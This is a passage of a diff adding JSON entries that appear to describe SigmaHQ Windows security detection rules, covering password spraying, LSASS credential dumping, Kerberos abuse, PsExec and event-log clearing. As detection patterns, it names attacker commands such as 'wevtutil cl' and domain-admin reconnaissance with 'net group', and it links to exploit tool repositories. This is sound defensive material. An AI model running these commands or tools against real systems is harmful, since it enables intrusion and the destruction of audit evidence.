"Failed Code Integrity Checks", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2019/12/03", + "filename": "win_security_susp_codeintegrity_check_failure.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Disk device errors" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", + "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", + "value": "Win Susp Computer Name Containing Samtheadmin", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1511760068743766026", + "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", + "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" + ], + "tags": [ + "cve.2021.42278", + "cve.2021.42287", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2022/09/09", + "filename": "win_security_susp_computer_name.yml", + "author": "elhoim", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "security", + "logsource.product": "windows" + } + }, + { + "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", + "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", + "value": "Password Change on Directory Service Restore Mode (DSRM) Account", + "meta": { + "refs": [ + "https://adsecurity.org/?p=1714", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_dsrm_password_change.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Initial installation of a domain controller" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", + "value": "Security Eventlog Cleared", + "meta": { + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_eventlog_cleared.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", + "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", + "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_explicit_credentials.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple accounts from a single process on the system.", + "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", + "value": "Multiple Users Failing to Authenticate from Single Process", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_process.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_failed_logons_single_source.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2017/01/10", + "filename": "win_security_susp_failed_logons_single_source2.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", + "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", + "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", + "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", + "value": "Disabled Users Failing To Authenticate From Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", + "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", + "value": "Invalid Users Failing To Authenticate From Source Using Kerberos", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", + "author": "Mauricio Velazco, frack113", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", + "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", + "value": "Valid Users Failing to Authenticate from Single Source Using NTLM", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", + "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", + "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", + "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", + "value": "Account Tampering - Suspicious Failed Logon Reasons", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", + "https://twitter.com/SBousseaden/status/1101431884540710913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_failed_logon_reasons.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "User using a disabled account" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", + "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", + "value": "Failed Logon From Public IP", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.t1078", + "attack.t1190", + "attack.t1133" + ], + "creation_date": "2020/05/06", + "filename": "win_security_susp_failed_logon_source.yml", + "author": "NVISO", + "level": "medium", + "falsepositive": [ + "Legitimate logon attempts over the internet", + "IPv4-to-IPv6 mapped IPs" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a source system failing to authenticate against a remote host with multiple users.", + "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", + "value": "Multiple Users Remotely Failing To Authenticate From Single Source", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_remote_logons_single_source.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", + "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", + "value": "Kerberos Manipulation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2017/02/10", + "filename": "win_security_susp_kerberos_manipulation.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Faulty legacy applications" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", + "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", + "value": "KrbRelayUp Attack Pattern", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", + "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2022/04/27", + "filename": "win_security_susp_krbrelayup.yml", + "author": "@SBousseaden, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", + "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", + "value": "Suspicious LDAP-Attributes Used", + "meta": { + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ], + "creation_date": "2019/03/24", + "filename": "win_security_susp_ldap_dataexchange.yml", + "author": "xknow @xknow_infosec", + "level": "high", + "falsepositive": [ + "Companies, who may use these default LDAP-Attributes for personal information" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", + "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", + "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1189469425482829824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1136.002" + ], + "creation_date": "2019/10/31", + "filename": "win_security_susp_local_anon_logon_created.yml", + "author": "James Pemberton / @4A616D6573", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes logging on with explicit credentials", + "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", + "value": "Suspicious Remote Logon with Explicit Credentials", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" + ], + "tags": [ + "attack.t1078", + "attack.lateral_movement" + ], + "creation_date": "2020/10/05", + "filename": "win_security_susp_logon_explicit_credentials.yml", + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Administrators that use the RunAS command or scheduled tasks" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that specify new credentials", + "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", + "value": "Outgoing Logon with New Credentials", + "meta": { + "refs": [ + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/06", + "filename": "win_security_susp_logon_newcredentials.yml", + "author": "Max Altgelt", + "level": "low", + "falsepositive": [ + "Legitimate remote administration activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", + "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", + "value": "Password Dumper Activity on LSASS", + "meta": { + "refs": [ + "https://twitter.com/jackcr/status/807385668833968128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2017/02/12", + "filename": "win_security_susp_lsass_dump.yml", + "author": "sigma", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects process handle on LSASS process with certain access mask", + "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", + "value": "Generic Password Dumper Activity on LSASS", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" + ], + "tags": [ + "attack.credential_access", + "car.2019-04-004", + "attack.t1003.001" + ], + "creation_date": "2019/11/01", + "filename": "win_security_susp_lsass_dump_generic.yml", + "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", + "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", + "value": "Suspicious Multiple File Rename Or Delete Occurred", + "meta": { + "refs": [ + "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2020/10/16", + "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", + "author": "Vasiliy Burov, oscd.community", + "level": "medium", + "falsepositive": [ + "Software uninstallation", + "Files restore activities" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", + "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", + "value": "Reconnaissance Activity", + "meta": { + "refs": [ + "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1069.002", + "attack.s0039" + ], + "creation_date": "2017/03/07", + "filename": "win_security_susp_net_recon_activity.yml", + "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", + "level": "high", + "falsepositive": [ + "Administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", + "value": "Password Protected ZIP File Opened", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", + "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", + "value": "Password Protected ZIP File Opened (Suspicious Filenames)", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip_filename.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "uuid": "571498c8-908e-40b4-910b-d2369159a3da", + "value": "Password Protected ZIP File Opened (Email Attachment)", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", + "value": "Suspicious Outbound Kerberos Connection", + "meta": { + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_susp_outbound_kerberos_connection.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Other browsers" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible addition of shadow credentials to an active directory object.", + "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", + "value": "Possible Shadow Credentials Added", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", + "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", + "https://twitter.com/SBousseaden/status/1581300963650187264?", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556" + ], + "creation_date": "2022/10/17", + "filename": "win_security_susp_possible_shadow_credentials_added.yml", + "author": "Nasreddine Bencherchali (rule), Elastic (idea)", + "level": "high", + "falsepositive": [ + "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", + "value": "Suspicious PsExec Execution", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_susp_psexec.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known sensitive file extensions accessed on a network share", + "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", + "value": "Suspicious Access to Sensitive File Extensions", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection", + "attack.t1039" + ], + "creation_date": "2019/04/03", + "filename": "win_security_susp_raccess_sensitive_fext.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service ticket requests using RC4 encryption type", + "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", + "value": "Suspicious Kerberos RC4 Ticket Encryption", + "meta": { + "refs": [ + "https://adsecurity.org/?p=3458", + "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2017/02/06", + "filename": "win_security_susp_rc4_kerberos.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Service accounts used on legacy systems (e.g. NetApp)", + "Windows Domains with DFL 2003 and legacy systems" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", + "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", + "value": "RottenPotato Like Attack Pattern", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1195284233729777665", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1557.001" + ], + "creation_date": "2019/11/15", + "filename": "win_security_susp_rottenpotato.yml", + "author": "@SBousseaden, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", + "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", + "value": "Possible Remote Password Change Through SAMR", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2017/06/09", + "filename": "win_security_susp_samr_pwset.yml", + "author": "Dimitrios Slamaris", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects renaming of file while deletion with SDelete tool.", + "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", + "value": "Secure Deletion with SDelete", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.defense_evasion", + "attack.t1070.004", + "attack.t1027.005", + "attack.t1485", + "attack.t1553.002", + "attack.s0195" + ], + "creation_date": "2017/06/14", + "filename": "win_security_susp_sdelete.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate usage of SDelete" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", + "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", + "value": "Unauthorized System Time Modification", + "meta": { + "refs": [ + "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", + "Live environment caused by malware", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", + 